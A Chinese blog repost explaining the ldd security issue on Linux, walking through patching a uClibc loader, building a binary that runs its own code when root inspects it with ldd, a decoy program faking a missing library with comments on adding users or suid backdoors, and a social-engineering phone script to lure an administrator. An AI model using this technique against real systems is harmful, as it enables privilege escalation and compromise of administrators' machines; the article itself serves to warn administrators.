ldd 的一個安全問題

我們知道“ldd”這個命令主要是被程序員或是管理員用來查看可執行文件所依賴的動態鏈接庫的。是的,這就是這個命令的用處??墒牵@個命令比你想像的要危險得多,也許很多黑客通過ldd的安全問題來攻擊你的服務器。其實,ldd的安全問題存在很長的時間了,但居然沒有被官方文檔所記錄來下,這聽上去更加難以理解了。怎么?是不是聽起來有點不可思議?下面,讓我為你細細道來。

首先,我們先來了解一下,我們怎么來使用ldd的,請你看一下下面的幾個命令:

(1) $ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)
(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)
(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

第(1)個命令,我們運行了 `ldd` 于 `/bin/grep`。我們可以看到命令的輸出是我們想要的,那就是 `/bin/grep` 所依賴的動態鏈接庫。

第(2)個命令設置了一個叫 LD_TRACE_LOADED_OBJECTS 的環境變量,然后就好像在運行命令 `/bin/grep` (但其實并不是)。 其運行結果和ldd的輸出是一樣的!

第(3)個命令也是設置了環境變量 LD_TRACE_LOADED_OBJECTS ,然后調用了動態鏈接庫 `ld-linux.so` 并把 `/bin/grep` 作為參數傳給它。我們發現,其輸出結果還是和前面兩個一樣的。

具體發生了什么?

對于第二個和第三個命令來說,好像是對 `ldd` 的一個包裝或是一個隱式調用。對于第二個和第三個命令來說, `/bin/grep` 這個命令就根本沒有被運行。這是一個GNU動態載入器的怪異的特性。如果其注意到環境變量LD_TRACE_LOADED_OBJECTS 被設置了,那么它就不會去執行那個可運行的程序,而去輸出這個可執行程序所依賴的動態鏈接庫 (在BSD 系統上的`ldd` 是一個C 程序)。

如果你使用的是Linux,那么,你可以去看看 `ldd` 程序,你會發現這是一個 bash 的腳本。如果你仔細查看這個腳本的源碼,你會發現,第二個命令和第三個命令的差別就在于 `ld-linux.so` 裝載器是否可以被`ldd`所裝載,如果不能,那就是第二個命令,如果而的話,那就是第三個命令。

所以,如果我們可以讓`ld-linux.so` 裝載器失效的話,或是讓別的裝載器來取代這個系統默認的動態鏈接庫的話,那么我們就可以讓 `ldd`來載入并運行我們想要程序了——使用不同的載裝器并且不處理LD_TRACE_LOADED_OBJECTS 環境變量,而是直接運行程序。

例如,你可以創建一個具有惡意的程序,如: ~/app/bin/exec 并且使用他自己的裝載器 ~/app/lib/loader.so。如果某人(比如超級用戶root) 運行了 `ldd /home/you/app/bin/exec` ,于是,他就玩完了。因為,那并不會列出所依賴的動態鏈接庫,而是,直接執行你的那個惡意程序,這相當于,那個用戶給了你他的授權。

編譯一個新的裝載器

下載 uClibc C庫。這是一個相當漂亮的代碼,并且可以非常容易地修改一下源代碼,使其忽略LD_TRACE_LOADED_OBJECTS 檢查。

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

解壓這個包,并執行 `make menuconfig`,選項你的平臺架構(比如:i386),剩下的事情保持不變。

$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
$ rm -rf uClibc-0.9.30.1.tar.bz2
$ cd uClibc-0.9.30.1
$ make menuconfig

編輯 .config 并設置目標安裝目錄:到 `/home/you/app/uclibc`,
把下面兩行

RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

改成

RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

現在你需要改動一下其源代碼,讓其忽略LD_TRACE_LOADED_OBJECTS 環境變量的檢查。 下面是個這修改的diff,你需要修改的是 `ldso/ldso/ldso.c` 文件。你可把下面的這個diff存成一個叫file的文件,然后運行這個命令:`patch -p0 < file`。如果你不這樣做的話,那么,我們的黑客程序就無法工作,而我們的這個裝載器還是會認為 `ldd` 想列出動態鏈接庫的文件列表。

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
         }  #endif
+    /*
         if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                 trace_loaded_objects++;
         }
+    */
   #ifndef __LDSO_LDD_SUPPORT__
         if (trace_loaded_objects) {

下面讓我們來編譯并安裝它。

$ make -j 4
$ make install

于是,我們的 uClibc 裝載器就被安裝了,并且libc 庫指向了 /home/you/app/uclibc. 就這么簡單,現在,我們需要做的就是把我們的uClibc的裝載器 (app/lib/ld-uClibc.so.0)變成默認的。

小試 牛刀

首先,先讓我們來創建一個測試程序,這人程序也就是輸出些自己的東西,這樣可以讓我們看到我們的程序被執行了。我們把這個程序放在 `app/bin/`下,叫“myapp.c”,下面是源代碼

#include <stdio.h>
#include <stdlib.h>
int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your things are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

這是一個很簡單的代碼了,這段代碼主要檢查一下環境變量LD_TRACE_LOADED_OBJECTS 是否被設置了,如果是,那么惡意程序執行,如果沒有,那么程序什么也不發生。

下面是編譯程序的命令,,大家可以看到,我們靜態鏈接了一些函數庫。我們并不想讓LD_LIBRARY_PATH這個變量來發揮作用。

$ L=/home/you/app/uclibc
$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

下面是GCC的各個參數的解釋:

  • -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一個新的裝載器。

  • -Wl,-rpath-link,$L/lib — 指定一個首要的動態裝載器所在的目錄,這個目錄用于查找動態庫。

  • -nostdlib — 不使用系統標準庫。

  • myapp.c -o myapp — 編譯myapp.c 成可執行文件 myapp,

  • $L/usr/lib/crt*.o — 靜態鏈接runtime 代碼

  • -L$L/usr/lib/ — libc 的目錄(靜態鏈接)

  • -lc —  C 庫

現在讓我們來運行一下我們的 `myapp` (沒有ldd,一切正常)

app/bin$ ./myapp
Nothing.

LD_TRACE_LOADED_OBJECTS 沒有設置,所以輸出 “Nothing” 。

現在,讓我們來使用 `ldd` 來看看這個程序的最大的影響力,讓我們以root身份來干這個事。

$ su
Password:
# ldd ./myapp
All your things are belong to me.

哈哈,我們可以看到,ldd觸發了我們的惡意代碼。于是,我們偷了整個系統!

邪惡的程序

下面這個例子更為實際一些,如果沒有`ldd` ,那程序程序會報錯 “error while loading shared libraries” ,這個錯誤信息會引誘你去去使用 `ldd` 去做檢查,如果你是root的話,那么就整個系統就玩完了。而當你可以了 `ldd` 后,它會在干完壞事后,模仿正確的`ldd`的輸出,告訴你 `libat.so.0` 不存在。

下面的代碼僅僅是向你展示了一下整個想法,代碼還需加工和改善。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.
I haven't implemented anything malicious but have written down some ideas
of what could be done.
This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/
void pretend_as_ldd()
{
    printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");
    printf("\tlibat.so.0 => not found\n");
    printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");
    printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}
void malicious()
{
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");
        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */
    }
}
int main(int argc, char **argv)
{
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        malicious();
        pretend_as_ldd();
        return 0;
    }
    printf("%s: error while loading shared libraries: libat.so.0: "
           "cannot open shared object file: No such file or directory\n",
           argv[0]);
    return 127;
}

邪惡的電話

事實上來說,上面的那段程序可能的影響更具破壞性,因為大多數的系統管理員可能并不知道不能使用 `ldd` 去測試那些不熟悉的執行文件。下面是一段很可能會發現的對話,讓我們看看我們的程序是如何更快地獲得系統管理員的權限的。

系統管理員的電話狂響……

系統管理員: “同志你好,我是系統管理員,有什么可以幫你的?”

黑客:“管理員同志你好。我有一個程序不能運行,總是報錯,錯誤好像是說一個系統動態鏈接庫有問題,你能不能幫我看看?”

系統管理員:“沒問題,你的那個程序在哪里?”

黑客: “在我的home目錄下,/home/hchen/app/bin/myapp”。

系統管理員:“ OK,等一會兒”,黑客在電話這頭可以聽到一些鍵盤的敲擊聲。

系統管理員:“好像是動態鏈接庫的問題,你能告訴我你的程序具體需要什么樣的動態鏈接庫嗎?”

黑客說: “謝謝,應該沒有別的嘛?!?/p>

系統管理員:“嗯,查到了,說是沒有了 `libat.so.0`這是你自己的動態鏈接庫嗎?”

黑客說:“哦,好像是的,你等一下,我看看……” 黑客在那頭露出了邪惡的笑,并且,訊速地輸入了下面的命令:

`mv ~/.hidden/working_app ~/app/bin/myapp`
`mv ~/.hidden/libat.so.o ~/app/bin/`

黑客說:“哦,對了,的確是我的不對,我忘了把這個鏈接庫拷過來了,現在應該可以了,謝謝你啊,真是不好意思,麻煩你了”

系統管理員: “沒事就行了,下次注意?。 保ㄈ缓笙到y管理心里暗罵,TMD,又一個白癡用戶!……)

教訓一:千萬不要使用 `ldd` 去測試你不知道的文件!
教訓二:千萬不要相信陌生人!

轉自:http://coolshell.cn/articles/1626.html

原創文章,作者:s19930811,如若轉載,請注明出處:http://www.www58058.com/2442

(0)
s19930811s19930811
上一篇 2016-05-05
下一篇 2016-05-05

相關推薦

  • 馬哥教育網絡班20期+第2周課程練習

    1、Linux上的文件管理類命令有:cp復制, mv剪切, rm移除 使用方法: cp復制  cp [OPTION]… [-T] SOURCE DEST  常用選項: -i:交互式 -r: 遞歸復制目錄及內部的所有內容 -a: 歸檔 演示: SRC是文件,會將/etc/fstab 中內容覆蓋到/bin/po…

    Linux干貨 2016-06-23
  • net25-第17周作業

    1、結合圖形描述LVS的工作原理; lvs-nat模型,相當于多目標的dnat,通過將請求報文中的目標地址和目標端口修改為調度出的rs的rip和port來實現轉發,整個請求如下: cip -> vip -> vs(nat轉換) -> rip  請求 rip -> dip(默認網關) -> vs(nat轉換) ->…

    Linux干貨 2017-05-15
  • Linux第五周總結

    1、顯示當前系統上root、fedora或user1用戶的默認shell 2、找出/etc/rc.d/init.d/functions文件中某單詞后面跟一組小括號的行,形如:hello(); 3、使用echo命令輸出一個絕對路徑,使用gerp取出其基名;     擴展:取出其路徑名 4、找出ifconfig命令結果中的…

    2017-07-30
  • Linux Basics–part5

    1、顯示當前系統上root、fedora或user1用戶的默認shell ~]# grep “^\(root\|fedora\|user1\)” /etc/passwd | cut -d: -f7 或者 ~]# egrep “^(root|fedora|user1)” /etc/passwd | cut -d:…

    Linux干貨 2017-08-24
  • 帶你走進PI的世界-Raspbian Pi上實現LAMP

     初識   Raspbian PI                   前段時間,出于興趣,入手一個樹莓派(Raspbian PI…

    Linux干貨 2016-01-05
  • 網絡基礎筆記

    網絡管理筆記 1. 網絡概念:     一組網絡設備或計算機,通過無形的規則鏈接起來的體系!    2. 應用程序種類:     (1)批處理應用程序:            FTP、TFTP、庫存更新    &nbsp…

    Linux干貨 2017-03-16
欧美性久久久久